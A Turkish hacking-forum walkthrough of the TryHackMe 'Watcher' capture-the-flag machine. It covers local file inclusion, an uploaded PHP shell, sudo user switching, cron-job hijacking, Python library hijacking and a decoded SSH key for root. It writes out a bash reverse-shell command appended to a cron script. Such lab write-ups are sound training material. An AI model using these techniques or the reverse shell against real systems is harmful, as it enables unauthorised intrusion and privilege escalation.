TryHackMe | Watcher

Will Graham

Katılımcı Üye
14 Eki 2022
581
489
bu konumda tryhackme platformu üzerinde bulunan watcher isimli makineyi çözeceğim. makine üzerinde bulunması gereken 7 bayrak var ve bu bayrakların her biri için birer ipucu bırakılmış. bu ipuçlarından yola çıkarak bayrakları toplayacağım.

1.ipucu => moz.com/learn/seo/robotstxt

robots.txt dosyası, site sahiplerinin arama motoru botlarına hangi uzantıların işaretlenip işaretlememesi gerektiğini gösterdikleri dosyadır.


6hyiw2o.png


uygulama üzerinde bu sayfayı açtığımda flag_1.txt ve secret_file_do_not_read.txt dosyasını gördüm. flag_1.txt dosyasında ki bayrağı yerine yapıştırıp, diğer dosyaya yöneldim ama dosyayı görüntülemeye yetkim olmadığı için açamadım.

2.ipucu => www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/

local file inclusion sitede ki dosyaları görüntüleyebilmemizi sağlayan bir güvenlik açığıdır. açığın hangi dosyada bulunduğunu öğrenmek için ana sayfaya döndüm ve karşıma çıkan 3 sayfadan birine tıklayarak aradığım sayfayı buldum. şimdi bu güvenlik açığını kullanarak görüntüleyemediğim dosyayı görüntülemeye çalışıyorum.


9vh7b30.png


bu dosyanın içerisinde ftp kullanıcı adı ve şifresi bulunuyor, haricinde ftp kanalının hangi dizinde olduğunu gösteriyor. ilk olarak ftp kanalına giriş yaptım sonra ise içerisinde ki bayrağı indirdim.

pqqzr5x.png


3.ipucu => outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2

local file inclusion açığından yararlanarak bir shell almam gerekiyor. biraz önce ftp kanalının hangi dizinde olduğunu öğrenmiştim, aynı dizine bir shell dosyası yükleyip local file inclusion aracılığıyla çalıştırabilirim.



k7v246j.png


dosyayı yükledim LFI aracılığıyla dosyayı çalıştırmadan önce pwncat ile 1234 portunu dinlemesini sağlıyorum sonrada dosyayı çalıştırıyorum.

8zw7lks.png


bağlantı geldikten sonra flag_3.txt dosyasını bulmak için /var/www/html dizinini kontrol ettim. sonuçta mülteci bağlantısındayız, bayrağı başka nereye koymuş olabilirler ki.


n55ufoq.png


4.ipucu => www.explainshell.com/explain?cmd=sudo+-l

sudo -l komutunu kullandım ve toby kullanıcısına herhangi bir şey dosya kullanmadan geçebileceğimi öğrendim. sudo -u toby /bin/bash komutunu kullanarak toby kullanıcısına geçtim ve 4.bayrağı görmek için /home/toby dizinine gittim.


lkpevkl.png


5.ipucu => book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs

not ve ipucundan anlayacağınız üzere mat kullanıcısı cron görevlerini düzenlemiş. görmek için cat /etc/crontab komutunu kullandığımda mat kullanıcısının yetkisinde dakika da 1 kez /home/toby/jobs/cow.sh dosyasının çalıştırıldığını gördüm. ls komutunu kullanarak bu dosyanın düzenlenebilir olup olmadığını kontrol ettim. sonra da echo "/bin/bash -i >& /dev/tcp/10.18.8.170/1234 0>&1" >> /home/toby/jobs/cow.sh komutunu kullanarak dosya'nın içerisine bir shell komutu ekledim.


k93s866.png


biraz bekledikten sonra bağlantı geldi, mat kullanıcısına geçmek için sessions 1 komutu ile bağlantıyı seçtim ve bayrağı görüntüledim.

g2c7whk.png


6.ipucu => book.hacktricks.xyz/linux-unix/privilege-escalation#python-library-hijacking

scripts klasörü içerisinde ki dosyaları kullanarak will kullanıcısına geçmemiz isteniyor.


k7iuw70.png


will kullanıcısının yetkisindeki will_script.py dosyasını çalıştırabilirmişiz. bunun için içerisine başka bir shell komutu eklediğimde, will kullanıcısının yetkisinde bir bağlantı oluşturulacaktır ama şu an will kullanıcısının yetkisine sahip olmadığım için will_script.py dosyasını düzenleyemiyorum. bu nedenle, bulunduğum kullanıcının yetkisiyle işlem yapabilmek için cmd.py dosyasını düzenlemem gerekiyor. zaten cmd.py, will_script.py dosyasının bir modülü olarak kullanıldığı için içine eklediğim kod çalışacak ve bağlantı gelecektir.

hzotzly.png


7.ipucu => explainshell.com/explain?cmd=ssh -i keyfile host

çıkabileceğim sadece root kullanıcısı kaldı, bu kullanıcının yetkisine geçebilmek için ise bir anahtar dosyasına ihtiyacım varmış. bu dosyayı /opt/backups dizini altında buldum. içeriği base64 ile şifrelenmişti. önce "cat key.b64 | base64 -d >> rs.txt" komutu ile şifreyi çözüp rs.txt dosyasına yükledim. sonra ise pwncat'e dönerek dosyayı bulunduğum dizine indirdim ve yetki verdikten sonra root kullanıcısının hesabına girip, son bayrağı aldım.


hf6svzw.png



qwr7zv9.png


bay bay
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.